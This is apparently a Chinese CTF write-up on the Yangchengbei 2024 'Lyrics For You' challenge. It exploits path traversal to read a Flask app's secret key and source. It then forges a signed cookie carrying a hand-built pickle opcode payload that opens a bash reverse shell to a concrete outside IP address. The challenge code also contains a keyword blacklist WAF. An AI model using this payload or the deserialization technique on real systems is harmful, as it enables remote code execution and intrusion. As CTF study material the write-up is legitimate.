羊城杯2024，python反序列化

Lyrics For You

源码可以读取

http://139.155.126.78:30125/lyrics?lyrics=../config/secret_key.py

这个是secret_code 这个卡了好久，就是没看到这个东西

同样读取app.py

import os
import random

from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)


class UserData:
    def __init__(self, username):
        self.username = username


def Waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word.lower() in data.lower():
            valid = True
            break
    return valid


@app.route("/", methods=['GET'])
def index():
    return render_template('index.html')


@app.route("/lyrics", methods=['GET'])
def lyrics():
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)

    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"
    return res


@app.route("/login", methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        res = {"username": user.username}
        return set_cookie("user", res, secret=secret_code)
    return render_template('login.html')


@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")
    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])
    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])


if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    app.run(host="0.0.0.0", port=8080)

Cookie.py

import base64
import hashlib
import hmac
import pickle

from flask import make_response, request

unicode = str
basestring = str


# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):
    msg = base64.b64encode(pickle.dumps(data, -1))
    sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
    return tob('!') + sig + tob('?') + msg


def cookie_decode(data, key):
    data = tob(data)
    if cookie_is_encoded(data):
        sig, msg = data.split(tob('?'), 1)
        if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
            return pickle.loads(base64.b64decode(msg))
    return None


def waf(data):
    blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
    valid = False
    for word in blacklist:
        if word in data:
            valid = True
            # print(word)
            break
    return valid


def cookie_check(key, secret=None):
    a = request.cookies.get(key)
    data = tob(request.cookies.get(key))
    if data:
        if cookie_is_encoded(data):
            sig, msg = data.split(tob('?'), 1)
            if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
                res = base64.b64decode(msg)
                if waf(res):
                    return True
                else:
                    return False
        return True
    else:
        return False


def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)


def get_cookie(key, default=None, secret=None):
    value = request.cookies.get(key)
    if secret and value:
        dec = cookie_decode(value, secret)
        return dec[1] if dec and dec[0] == key else default
    return value or default


def cookie_is_encoded(data):
    return bool(data.startswith(tob('!')) and tob('?') in data)


def _lscmp(a, b):
    return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)


def set_cookie(name, value, secret=None, **options):
    if secret:
        value = touni(cookie_encode((name, value), secret))
        resp = make_response("success")
        resp.set_cookie("user", value, max_age=3600)
        return resp
    elif not isinstance(value, basestring):
        raise TypeError('Secret key missing for non-string Cookie.')

    if len(value) > 4096:
        raise ValueError('Cookie value to long.')


def touni(s, enc='utf8', err='strict'):
    return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

审代码可以发现他的解密逻辑和构造逻辑

只要绕过就行，使用opcode语句进行手搓payloud，反弹shell，然后附上加密脚本

import base64
import hashlib
import hmac
import pickle

unicode = str
basestring = str

def tob(s, enc='utf8'):
    return s.encode(enc) if isinstance(s, unicode) else bytes(s)
data=b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/120.76.143.184/8656 0>&1"\'\no.'
key="EnjoyThePlayTime123456"
msg = base64.b64encode(data)
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
print(tob('!') + sig + tob('?') + msg)

然后直接传入即可反弹shell，本来以为是第二个反序列化点进行触发的，再加上没有读取到密匙，所以卡了挺久，而真正的触发点在get_cookie中的cookie_decode函数那个反序列化点，进行反弹。

原文地址：https://blog.csdn.net/2301_80148821/article/details/143822521

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